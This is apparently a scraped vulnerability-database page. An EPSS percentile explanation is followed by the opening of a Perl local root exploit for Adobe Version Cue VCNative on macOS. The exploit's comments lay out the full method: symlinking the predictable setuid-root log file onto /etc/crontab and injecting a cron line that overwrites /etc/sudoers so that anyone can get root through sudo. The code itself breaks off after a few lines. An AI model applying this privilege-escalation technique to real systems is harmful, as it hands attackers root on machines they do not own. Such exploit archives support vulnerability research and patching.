The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

#!/usr/bin/perl # # Adobe Version Cue VCNative[OSX]: local root exploit. # # by: vade79/v9 v9@fakehalo.us (fakehalo/realhalo) # # Adobe Version Cue's VCNative program writes data to a log file in # the current working directory while running as (setuid) root. the # logfile is formated as <cwd>/VCNative-<pid>.log, which is easily # predictable. you may link this file to any file on the system # and overwrite its contents. use of the "-host" option (with # "-port") will allow user-supplied data to be injected into the # file. # # This exploit works by overwriting /etc/crontab with # '* * * * * root echo "ALL ALL=(ALL) ALL">/etc/sudoers' and # log garbage. within a short period of time crontab will overwrite # /etc/sudoers and "sudo sh" to root is possible. this method is used # because direct overwriting of /etc/sudoers will cause sudo to exit # with configuration errors due to the log garbage, whereas crontab # will ignore it. (this exploit requires both cron to be running and # sudo to exist--this is generally default osx) use POSIX; $vcn_path="/Applications/Adobe Version Cue/tomcat/webapps/ROOT/" .
